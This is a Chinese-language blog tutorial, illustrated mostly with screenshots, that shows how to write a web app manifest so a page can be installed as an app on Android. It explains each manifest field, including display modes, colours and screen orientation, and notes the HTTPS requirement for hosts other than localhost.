<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgg69w7XAnfF05r0nPrS38Ni8JCx7uGh13ysYpIViy-pDAnclAO0z9VI_g4y5f-FE5uYmafD6VA_xTMOFqeYN4EcCDfcpnMQl3gq-apFVyYYPvfuMcOKWeYWM1OyRmmE5Vjh7rjTFRBeo35WTU7WQh7d-13u1AXe2jEUL-YR-hNvVNV5PzCa8R5gFSk/w0/installable-web-app-012.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgg69w7XAnfF05r0nPrS38Ni8JCx7uGh13ysYpIViy-pDAnclAO0z9VI_g4y5f-FE5uYmafD6VA_xTMOFqeYN4EcCDfcpnMQl3gq-apFVyYYPvfuMcOKWeYWM1OyRmmE5Vjh7rjTFRBeo35WTU7WQh7d-13u1AXe2jEUL-YR-hNvVNV5PzCa8R5gFSk/w600/installable-web-app-012.png"/></a></div>
<div>符合 JSON 規格的 manifest檔案</div>
<pre class="brush:js">{
"name":"Test Name",
"start_url":"/",
"display":"minimal-ui",
"icons":[
{
"src":"icon.svg",
"sizes":"512x512"
}
]
}</pre>
<div>將讓網頁應用程式安裝到 Android ,manifest 必須設定<br/>
<ul>
<li>name 網頁應用程式的名稱</li>
<li>start_url 網頁應用程式的起動路徑</li>
<li>display 顯示網頁應用程式的模式
<ul>
<li>minimal-ui 顯示狀態列、網址列、導覽列</li>
<li>standalone 顯示狀態列、導覽列</li>
<li>fullscreen 隱藏所有資料</li>
</ul>
</li>
<li>icons 圖示檔案
<ul>
<li>src 圖示檔案的路徑</li>
<li>sizes 圖示檔案的尺寸</li>
</ul>
</li>
</ul>
</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicsE5bh-L7IQBCWgQbztXdvuh-SGYvooyfLeXSTGoPWFBcKpgFEaaCtRYu8X53uH-j5FYnvOwb-i6AoEvOf9NMqq_Q-W5xOhVeJ_hhUDEGjujXt8E1LBT5j9HTVCeGRaKN5rD1eTutufR9a3BFEPKPDlXki4tubvicroPbTF0enZ7OOe5LmxoCLfRQ/w0/installable-web-app-013.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicsE5bh-L7IQBCWgQbztXdvuh-SGYvooyfLeXSTGoPWFBcKpgFEaaCtRYu8X53uH-j5FYnvOwb-i6AoEvOf9NMqq_Q-W5xOhVeJ_hhUDEGjujXt8E1LBT5j9HTVCeGRaKN5rD1eTutufR9a3BFEPKPDlXki4tubvicroPbTF0enZ7OOe5LmxoCLfRQ/w600/installable-web-app-013.png"/></a></div>
<div>在此建立 網頁檔案 、 圖示檔案 、 manifest.json</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIBIY1goL4BvfoLJKWatdNNaQOpxZ1OHgBSEWP5wDiBOh7vSC6KX5mlzXS62RWhVlCvfctXr9laBzevjNmLxUVPy2hlT5F5Ad7CzmWA5aFMShMUClUtjzffaHsUSEJIb-NlBsTPzpMQWie0uMul_re03CEnQ_h-WduyA25bnMlJp3L910kTes47oTR/w0/installable-web-app-014.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIBIY1goL4BvfoLJKWatdNNaQOpxZ1OHgBSEWP5wDiBOh7vSC6KX5mlzXS62RWhVlCvfctXr9laBzevjNmLxUVPy2hlT5F5Ad7CzmWA5aFMShMUClUtjzffaHsUSEJIb-NlBsTPzpMQWie0uMul_re03CEnQ_h-WduyA25bnMlJp3L910kTes47oTR/w600/installable-web-app-014.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix7I71pxjG6mlZBuIo5j-NdSY-IbHH2x3SrwWAgpv_-OirFJjB2-T9DDqhupO35N_JHdiigek1WbYGkJx9xbqWkydhnwU60wd6jWLLhuYg7o87PQsdRy-Txqna-xJYITgrqZ2Upi1HUwXUQEb-zKso4DJzvDrULWO9EZnkMKvLWDdkJp7DcE-O3daI/w0/installable-web-app-015.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix7I71pxjG6mlZBuIo5j-NdSY-IbHH2x3SrwWAgpv_-OirFJjB2-T9DDqhupO35N_JHdiigek1WbYGkJx9xbqWkydhnwU60wd6jWLLhuYg7o87PQsdRy-Txqna-xJYITgrqZ2Upi1HUwXUQEb-zKso4DJzvDrULWO9EZnkMKvLWDdkJp7DcE-O3daI/w600/installable-web-app-015.png"/></a></div>
<div>重新整理 http://127.0.0.1:8080/ 後<br/>
會發現 新增至主螢幕 改變成 安裝應用程式 ,便可以將 網頁應用程式 當作 獨立應用程式 安裝到 Android</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjavFDCyvvH9Hkr2mR1qaEdPvXFfn6rmf7kr6vLCkCKFeJgYzme3eLHhqFZ_yRU0_4lQEKhIaxtG80C7TVW8BUPBHkxyYmQ4It60pWHia0n-99H7mTugn4-I6F9Tn31aRSO7ywcVw7hXle3a9t1cJba7UjFd9_gUvAs-QUPzhV3ykSh9-qSqRFlkuL1/w0/installable-web-app-016.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjavFDCyvvH9Hkr2mR1qaEdPvXFfn6rmf7kr6vLCkCKFeJgYzme3eLHhqFZ_yRU0_4lQEKhIaxtG80C7TVW8BUPBHkxyYmQ4It60pWHia0n-99H7mTugn4-I6F9Tn31aRSO7ywcVw7hXle3a9t1cJba7UjFd9_gUvAs-QUPzhV3ykSh9-qSqRFlkuL1/w600/installable-web-app-016.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjm3AB7eM3eqPLCaOH3MeNSDJ5DPtWDTEAw-SamSteN_uGqCj33gaNvVJ_abyB_LioL5cup24SdbOq7MHuUqLCnHlLfAguUHEDTPXFXUEh7gXRREcDLj6_ghgC2pm5x8BqZ1lFA98hbfqCQMTiMD6Yc1_qXI6TBXrQvGT5oF_PgcVHwnFiV7sjc5hKi/w0/installable-web-app-017.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjm3AB7eM3eqPLCaOH3MeNSDJ5DPtWDTEAw-SamSteN_uGqCj33gaNvVJ_abyB_LioL5cup24SdbOq7MHuUqLCnHlLfAguUHEDTPXFXUEh7gXRREcDLj6_ghgC2pm5x8BqZ1lFA98hbfqCQMTiMD6Yc1_qXI6TBXrQvGT5oF_PgcVHwnFiV7sjc5hKi/w600/installable-web-app-017.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkkLpVq7I4d2nKS0Dqnnoxer6NrzAOdQoKmFlmiCNaii4ZKvoYBqX8cJXekhJ0I8YwcUssGKY977083IDeaoaiBGiExYmxos0CroEH1PjnRciWAx4wciwwxtuOXOdqy80apvGm8HS8ipTiSG2M8UgU9j8oGQnE2H4kDHUrUJ9dv9_NiDjPJ_SSWRh-/w0/installable-web-app-018.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkkLpVq7I4d2nKS0Dqnnoxer6NrzAOdQoKmFlmiCNaii4ZKvoYBqX8cJXekhJ0I8YwcUssGKY977083IDeaoaiBGiExYmxos0CroEH1PjnRciWAx4wciwwxtuOXOdqy80apvGm8HS8ipTiSG2M8UgU9j8oGQnE2H4kDHUrUJ9dv9_NiDjPJ_SSWRh-/w600/installable-web-app-018.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-_DfsuT__9hDaheWg6i7bqOhnN17ZCrrK4MqZ5-ry84uCsU3252Xegjq16grkAlMqh4MX0LRNT_lAZWkccdKZnedoafvwe8SnHJhb3_qbDGKTOrt7_eYAIKZPAES64N2e1gsJ5TOk2avHly3YUEaVKLzCv2OYSI8_cHNFxCUbeqx6hssUNyTdcxM4/w0/installable-web-app-019.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-_DfsuT__9hDaheWg6i7bqOhnN17ZCrrK4MqZ5-ry84uCsU3252Xegjq16grkAlMqh4MX0LRNT_lAZWkccdKZnedoafvwe8SnHJhb3_qbDGKTOrt7_eYAIKZPAES64N2e1gsJ5TOk2avHly3YUEaVKLzCv2OYSI8_cHNFxCUbeqx6hssUNyTdcxM4/w600/installable-web-app-019.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQ0Zvfg-b3paBMoA5-JOqLbHzgOpeV755udS_ZgwMM3-W3bPaG7wwbo5xYzGq2BLcgij_PQdAhz3wGyaabz2iNxN7ZIqDx1s8bMzIRzjnKti-gR2qNlSBb7nOMZa2vTgWTon-zLFUZa0C2YuA6f6c4l7K1zF4RWLvP0yk56Lq1Y9n6tqKWV2AQi_cE/w0/installable-web-app-020.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQ0Zvfg-b3paBMoA5-JOqLbHzgOpeV755udS_ZgwMM3-W3bPaG7wwbo5xYzGq2BLcgij_PQdAhz3wGyaabz2iNxN7ZIqDx1s8bMzIRzjnKti-gR2qNlSBb7nOMZa2vTgWTon-zLFUZa0C2YuA6f6c4l7K1zF4RWLvP0yk56Lq1Y9n6tqKWV2AQi_cE/w600/installable-web-app-020.png"/></a></div>
<div>安裝後的網頁應用程式,會使用 圖示檔案 作為 應用程式圖案 顯示,而不是網頁捷徑圖案</div>
<br/>
<a name="網頁捷徑及網頁應用程式"></a><h4 class="mra-h4">網頁捷徑及網頁應用程式</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhV3M2s9DjKU4jkg2PuDG-Y04Ixk7aIt-WnHFhfSwEtz9yx4n1cb32BumgN-SqFJPwGLanIFCEGkz3Th-5iNjyMS4Lzpmc2wO1wlFTEFu5Ix4CdNALJi-iuRkWpCC3ScsdLj5PB81bxVzMNdSRCxR4T71jR0XPDpEIqUA42QDrpW0bVg5wA8zFUJ7R/w0/installable-web-app-021.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhV3M2s9DjKU4jkg2PuDG-Y04Ixk7aIt-WnHFhfSwEtz9yx4n1cb32BumgN-SqFJPwGLanIFCEGkz3Th-5iNjyMS4Lzpmc2wO1wlFTEFu5Ix4CdNALJi-iuRkWpCC3ScsdLj5PB81bxVzMNdSRCxR4T71jR0XPDpEIqUA42QDrpW0bVg5wA8zFUJ7R/w600/installable-web-app-021.png"/></a></div>
<div>除了桌面捷徑,還會收藏到應用程式列表</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmX9lnAWf1I4wmoPV74DqO3mc6P2Ti2hWVyemEu5lStFiEEfF4y4iIHIAoK5l-8ouBopbMgMB-OWKIO2cSvU3t9JaSEgAUqaRG74CHl2XVm-7fci0mhF75ZIoZlx4jpx_CAn-sjXEO1nXxhXAQmttbjNpQk3LQZ2D0rYOIM3SASV-DSqLkpKbg7v4p/w0/installable-web-app-022.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmX9lnAWf1I4wmoPV74DqO3mc6P2Ti2hWVyemEu5lStFiEEfF4y4iIHIAoK5l-8ouBopbMgMB-OWKIO2cSvU3t9JaSEgAUqaRG74CHl2XVm-7fci0mhF75ZIoZlx4jpx_CAn-sjXEO1nXxhXAQmttbjNpQk3LQZ2D0rYOIM3SASV-DSqLkpKbg7v4p/w600/installable-web-app-022.png"/></a></div>
<div>如果只有一般捷徑,只需要搬移到 移除 即可刪除捷徑</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3jMMQbJ978Hx1yeqQ-NYMviBwQwr833fArhyML9xF89RGlAQiATQIeE7Z6m-HOjWixFLzmxQvA3c_y-8YG7x1asm2ZTwp1rUyeqk3t_L2DTu0p5d9JLr8hUiOJmXvHg36-ui4x8BkEnQ7pGZ2cA_W-L7x3zuOmW481AiLRRqzWBdvulQU1HHURLgu/w0/installable-web-app-023.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3jMMQbJ978Hx1yeqQ-NYMviBwQwr833fArhyML9xF89RGlAQiATQIeE7Z6m-HOjWixFLzmxQvA3c_y-8YG7x1asm2ZTwp1rUyeqk3t_L2DTu0p5d9JLr8hUiOJmXvHg36-ui4x8BkEnQ7pGZ2cA_W-L7x3zuOmW481AiLRRqzWBdvulQU1HHURLgu/w600/installable-web-app-023.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1WTANgPUbhH8IXUmwf8cFelqMEP_qY1PFReKb7buDy1qcd0m7dswuQ_2lDfss-L5mLH-thOANKvc2WPoR0NDqlWb71IMxnu-9rS03QOm4l5JKr6jaY_pPfkvHMOKO15_37a7UugJfleA2hV9Ic2iumJv-hR0YPyqVTC3bCOaV9ZQXHI4rTGG6n6HD/w0/installable-web-app-024.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1WTANgPUbhH8IXUmwf8cFelqMEP_qY1PFReKb7buDy1qcd0m7dswuQ_2lDfss-L5mLH-thOANKvc2WPoR0NDqlWb71IMxnu-9rS03QOm4l5JKr6jaY_pPfkvHMOKO15_37a7UugJfleA2hV9Ic2iumJv-hR0YPyqVTC3bCOaV9ZQXHI4rTGG6n6HD/w600/installable-web-app-024.png"/></a></div>
<div>但網頁應用程式則與一般應用程式相同,具有應用程式資訊</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkhwvzxuQf9De6JZvceBKsgVRNQiv3aU_AEEkIltH5PePfb2UllnEAld97JhnNAKCrvNv6nJq5I2dyEw71COrXQbeouA_bEmVOhVW8-NHYdYrtwtW2-GReXzGKFtFKAAJp_qWcGpVRUZLKoIdjYnVg9vLb3oDK4RQlPMe2V9zOuUXcllaxeyjtoUma/w0/installable-web-app-025.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkhwvzxuQf9De6JZvceBKsgVRNQiv3aU_AEEkIltH5PePfb2UllnEAld97JhnNAKCrvNv6nJq5I2dyEw71COrXQbeouA_bEmVOhVW8-NHYdYrtwtW2-GReXzGKFtFKAAJp_qWcGpVRUZLKoIdjYnVg9vLb3oDK4RQlPMe2V9zOuUXcllaxeyjtoUma/w600/installable-web-app-025.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2f32ZNkvnli_zpcfrOFQtzjvHwrLMGtT3kkBbH5YVkrjAt7Y5D1cG3aIgA8COonarvOxLAxCB7ofo3zmb_SyKvGkNDP0oAe39j3-iNisQBUIeA08WOgPEJ1-Lgmzfe42JcP8xvKi0LEFEv_XC9B1vn_mtJkVBRwWtNT5BUbs-2whEk0xv8eD7x1aT/w0/installable-web-app-026.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2f32ZNkvnli_zpcfrOFQtzjvHwrLMGtT3kkBbH5YVkrjAt7Y5D1cG3aIgA8COonarvOxLAxCB7ofo3zmb_SyKvGkNDP0oAe39j3-iNisQBUIeA08WOgPEJ1-Lgmzfe42JcP8xvKi0LEFEv_XC9B1vn_mtJkVBRwWtNT5BUbs-2whEk0xv8eD7x1aT/w600/installable-web-app-026.png"/></a></div>
<div>刪除亦需要確認</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXfbp2q-fJEAmX4AW_rWShvSsYA5sz-b6ebzAt2VcPvcGR402OM-DJ1DQ7WHuRuWxNa0vQ9MUm8OCWjyFZVx9SMn_UWereKghW0U_j6kb-_v9zPQp6RlV2dz2eu_4XVi7s07RTJ9tS2nBA8OZ-mhw6HPZohE8bd_Md07Gs0wkPZnrtt_Lu6soDBCjb/w0/installable-web-app-027.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXfbp2q-fJEAmX4AW_rWShvSsYA5sz-b6ebzAt2VcPvcGR402OM-DJ1DQ7WHuRuWxNa0vQ9MUm8OCWjyFZVx9SMn_UWereKghW0U_j6kb-_v9zPQp6RlV2dz2eu_4XVi7s07RTJ9tS2nBA8OZ-mhw6HPZohE8bd_Md07Gs0wkPZnrtt_Lu6soDBCjb/w600/installable-web-app-027.png"/></a></div>
<div>而且還會提供起始畫面</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiM65V4LAUC4O4E5_OoLS81erH2wGkZo-qZFse-DPw6atulEDDRTh4qO7xK1Pb9puAX2Sv88lD9Rv7ZY0ylbrHhSHqL4lsugJ6kgdzUHdwbr7vi0vOtbGIxvzKeoWvttAYewaZ2KPpoQgQXhJ038OuX-KtSnRoFhYQ5SBUVpdVuFw75551g-DxZFJP4/w0/installable-web-app-028.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiM65V4LAUC4O4E5_OoLS81erH2wGkZo-qZFse-DPw6atulEDDRTh4qO7xK1Pb9puAX2Sv88lD9Rv7ZY0ylbrHhSHqL4lsugJ6kgdzUHdwbr7vi0vOtbGIxvzKeoWvttAYewaZ2KPpoQgQXhJ038OuX-KtSnRoFhYQ5SBUVpdVuFw75551g-DxZFJP4/w600/installable-web-app-028.png"/></a></div>
<div>網頁應用程式起動後與網頁內容相同</div>
<br/>
<a name="額外設定"></a><h4 class="mra-h4">額外設定</h4>
<div>除了必須的屬性外,還可以添加一些支援屬性,令網頁應用程式有更佳的效果</div>
<br/>
<a name="short_name"></a><h5 class="mra-h5">short_name</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD8H04FY8VJ9QPx2_xwf7aJfwphbSt1GHq_vzT38r9F86j-QWNzOJanC0zWo4t4Hr7uVIlfyCLnMepL_n8uxpDJka5pnUWO3CFAIFuxfYlJZ1Oh673PxWsi6ZotY4WHrfzFmj5EUcfuHOKb3zG47KMV8qsy5bB_-TnzmkukVwv5V1IrjzGmvfXu8H2/w0/installable-web-app-029.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD8H04FY8VJ9QPx2_xwf7aJfwphbSt1GHq_vzT38r9F86j-QWNzOJanC0zWo4t4Hr7uVIlfyCLnMepL_n8uxpDJka5pnUWO3CFAIFuxfYlJZ1Oh673PxWsi6ZotY4WHrfzFmj5EUcfuHOKb3zG47KMV8qsy5bB_-TnzmkukVwv5V1IrjzGmvfXu8H2/w600/installable-web-app-029.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKwWiEjiFn6kgdmYTU2iwLeFct9pdawDekmFkX4M8qqzhTMuiaGjYU_dqOqqXkUWGff7lW9Llo-vOR_sWV1HXH8-mJ2ouHE0uaBo0FYYpfjvpdHeMQIli182SaU7tqm5Yf0978G07EslpFtJdXXFvT58eAjF_oTl_2eiH0h1IFHMyEtVgIyOIfbCx8/w0/installable-web-app-030.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKwWiEjiFn6kgdmYTU2iwLeFct9pdawDekmFkX4M8qqzhTMuiaGjYU_dqOqqXkUWGff7lW9Llo-vOR_sWV1HXH8-mJ2ouHE0uaBo0FYYpfjvpdHeMQIli182SaU7tqm5Yf0978G07EslpFtJdXXFvT58eAjF_oTl_2eiH0h1IFHMyEtVgIyOIfbCx8/w600/installable-web-app-030.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3si0sSP3DTsUZf4lqX-r1Fd2U_f1ylSiusI9F0dH-J-0GQ5jqi3R158J3c62ZnAcTrxOsOV1UpgwwDPrHuFqPyGeyjgs6y0koEp6fRKUrlonNqR_KHYpv1DfEBV83bVPVNJ28sykJUYnGOb6D8PSKBUzmG3ahbZMXBB4zeoQrzoqrAdbgnOrtJ990/w0/installable-web-app-031.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3si0sSP3DTsUZf4lqX-r1Fd2U_f1ylSiusI9F0dH-J-0GQ5jqi3R158J3c62ZnAcTrxOsOV1UpgwwDPrHuFqPyGeyjgs6y0koEp6fRKUrlonNqR_KHYpv1DfEBV83bVPVNJ28sykJUYnGOb6D8PSKBUzmG3ahbZMXBB4zeoQrzoqrAdbgnOrtJ990/w600/installable-web-app-031.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7hDKZqeVv_NvhYZ8176kjTbFEQbkGxK7Mo_yCQrtJ93USEyNbEBHtzj9IN2Rw0V8_gH2i2OJ4Ti40PZ7O2yM7-IAlqscpyC5T-OZz4RKXcIlEOIEd4UQBEk3KzXQkGpGdWYdWguQiBCpbGHfHHT9IYQPXMtRSzm1IK8kCluqbiS27RDRQgTOw_O2x/w0/installable-web-app-032.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7hDKZqeVv_NvhYZ8176kjTbFEQbkGxK7Mo_yCQrtJ93USEyNbEBHtzj9IN2Rw0V8_gH2i2OJ4Ti40PZ7O2yM7-IAlqscpyC5T-OZz4RKXcIlEOIEd4UQBEk3KzXQkGpGdWYdWguQiBCpbGHfHHT9IYQPXMtRSzm1IK8kCluqbiS27RDRQgTOw_O2x/w600/installable-web-app-032.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGznpT5vIQlL_7y7BoiP4hZWOj0HGHb5VryHXK6C4nXve74AdNwJJcEyFwU7TcjGlhz6HAsnObsgIhTfR34c6-x4dZwwT7q-zD43DuO5EqxCSkhuSozCzhigxSOl5x3v5KFNSdSHZilhVq7YVGFRAYU8czLM-lAlNiI5ov7aLTwXu6ztE4s3dHrFBU/w0/installable-web-app-033.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGznpT5vIQlL_7y7BoiP4hZWOj0HGHb5VryHXK6C4nXve74AdNwJJcEyFwU7TcjGlhz6HAsnObsgIhTfR34c6-x4dZwwT7q-zD43DuO5EqxCSkhuSozCzhigxSOl5x3v5KFNSdSHZilhVq7YVGFRAYU8czLM-lAlNiI5ov7aLTwXu6ztE4s3dHrFBU/w600/installable-web-app-033.png"/></a></div>
<div>網頁應用程式的簡短名稱,可以方便使用者記憶及搜尋<br/>
簡短名稱會在安裝過程、圖示名稱、應用程式資訊取代完整名稱</div>
<br/>
<a name="display"></a><h5 class="mra-h5">display</h5>
<div>除了之前的 minimal-ui , display 還有提供其他顯示方式</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOPdwzvl5d5xWAAooJkFdY9jENobt8Hbgc1mMCwouz5Vz1JJ0Jq1FdtudD1VQI5uq-h49S0KWSNtGZefN-Owac6PfCMXVApwBGgCjzJndcF7aQ_BhHXlgikCTEV6bt8FbhT3ujjuhliKLBCXufPdCzD9-mrkYw8tuJocNjrnXtXrQ673Nmu4W3mII2/w0/installable-web-app-034.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOPdwzvl5d5xWAAooJkFdY9jENobt8Hbgc1mMCwouz5Vz1JJ0Jq1FdtudD1VQI5uq-h49S0KWSNtGZefN-Owac6PfCMXVApwBGgCjzJndcF7aQ_BhHXlgikCTEV6bt8FbhT3ujjuhliKLBCXufPdCzD9-mrkYw8tuJocNjrnXtXrQ673Nmu4W3mII2/w600/installable-web-app-034.png"/></a></div>
<div>standalone 顯示方式,會將網址列隱藏,只剩下狀態列及導覽列</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFiOOsUcluu_gEIfLP0bQWFlGZCoFpe51xt9lyDL9i3bnhGBYA1Sl51tajG03XD4nc3xsU1GQzoU8VU7OySlMo_v7bmFBNfhKp354-16Fopcn7S3DUF3hOJ7G3Z6Q6hhWiHpBLvfZR0aAylJQn76V3TWidB8aVMcA-7aahOZmSKmFKgO3NOUsb2x_f/w0/installable-web-app-035.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFiOOsUcluu_gEIfLP0bQWFlGZCoFpe51xt9lyDL9i3bnhGBYA1Sl51tajG03XD4nc3xsU1GQzoU8VU7OySlMo_v7bmFBNfhKp354-16Fopcn7S3DUF3hOJ7G3Z6Q6hhWiHpBLvfZR0aAylJQn76V3TWidB8aVMcA-7aahOZmSKmFKgO3NOUsb2x_f/w600/installable-web-app-035.png"/></a></div>
<div>fullscreen 顯示方式,會將所有應用程式以外的系統資訊及操作工具都隱藏</div>
<br/>
<a name="background_color"></a><h5 class="mra-h5">background_color</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEht8dNQYZgi_S0YHbo-H9zYVuW2q-FlHZV9fQg6RrITwx1wbBe_5sJuGsu1JPd2a59SE_kpSlxVCwakEJYH7HrJINMwi-fJPQNzUYYSCZKeDWYlcZtK75Ui95MBZKYrNpEQReWQh30PZ3sR-6WDUwFbUP05F7hzfS-o2TrXVWQqtyTA1uIH3hfu7xyJ/w0/installable-web-app-036.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEht8dNQYZgi_S0YHbo-H9zYVuW2q-FlHZV9fQg6RrITwx1wbBe_5sJuGsu1JPd2a59SE_kpSlxVCwakEJYH7HrJINMwi-fJPQNzUYYSCZKeDWYlcZtK75Ui95MBZKYrNpEQReWQh30PZ3sR-6WDUwFbUP05F7hzfS-o2TrXVWQqtyTA1uIH3hfu7xyJ/w600/installable-web-app-036.png"/></a></div>
<div>改變起動畫面的背景顏色,使用 6位十六進制數值</div>
<br/>
<a name="theme_color"></a><h5 class="mra-h5">theme_color</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSt8MiCMMGek71LYqi7HauzVmlUy3qr09vJcD3Yl2CqMckxnqqpNY5KAntPmTATbAJm2dDz3GBAUzP6XshQdpE0A1-GYq3sjEUb346I3NREbYDO7mFn1zO5Vgeetb_Zgx6dDZ493HVWZtPDzmLuiJOHivP2108T_cfvqD2Okyf3rq-FR-nGtit7jAu/w0/installable-web-app-037.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSt8MiCMMGek71LYqi7HauzVmlUy3qr09vJcD3Yl2CqMckxnqqpNY5KAntPmTATbAJm2dDz3GBAUzP6XshQdpE0A1-GYq3sjEUb346I3NREbYDO7mFn1zO5Vgeetb_Zgx6dDZ493HVWZtPDzmLuiJOHivP2108T_cfvqD2Okyf3rq-FR-nGtit7jAu/w600/installable-web-app-037.png"/></a></div>
<div>改變網址列及狀態列的顏色,使用 6位十六進制數值</div>
<br/>
<a name="orientation"></a><h5 class="mra-h5">orientation</h5>
<div>能夠強制令熒幕以指定方向顯示
<ul>
<li>any 不限制方向,根據陀螺儀及系統設定旋轉,預設</li>
<li>natural 只能使用系統預設方向</li>
<li>landscape 只能使用水平方向</li>
<li>landscape-primary 只能使用第一水平方向</li>
<li>landscape-secondary 只能使用第二水平方向</li>
<li>portrait 只能使用垂直方向</li>
<li>portrait-primary 只能使用第一垂直方向</li>
<li>portrait-secondary 只能使用第二垂直方向</li>
</ul>
</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvcLof6P70LlGsWfRbeIJfgHzlAUuvjyaFd-Orc6NFdbR6jj-4L7wgFC0cgG-yHs0xfShtC1JEJVwHQdv48dTr2LIXDTQJ4OkXrziU2lA97xhULpXYg8zuAR9l266e62Lfr4Sx0g6KsrJYltIfDBs5Qw9-e7KoZMt6eqv0o_i02eDFySYGUpNjUcOh/w0/installable-web-app-038.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvcLof6P70LlGsWfRbeIJfgHzlAUuvjyaFd-Orc6NFdbR6jj-4L7wgFC0cgG-yHs0xfShtC1JEJVwHQdv48dTr2LIXDTQJ4OkXrziU2lA97xhULpXYg8zuAR9l266e62Lfr4Sx0g6KsrJYltIfDBs5Qw9-e7KoZMt6eqv0o_i02eDFySYGUpNjUcOh/w600/installable-web-app-038.png"/></a></div>
<div>由於 127.0.0.1 或 localhost 只是伺服器本機的 IP 或 域名<br/>
以外的 IP 或 域名 必須使用 經認證有效的HTTPS 才能安裝網頁應用程式</div>
<br/>
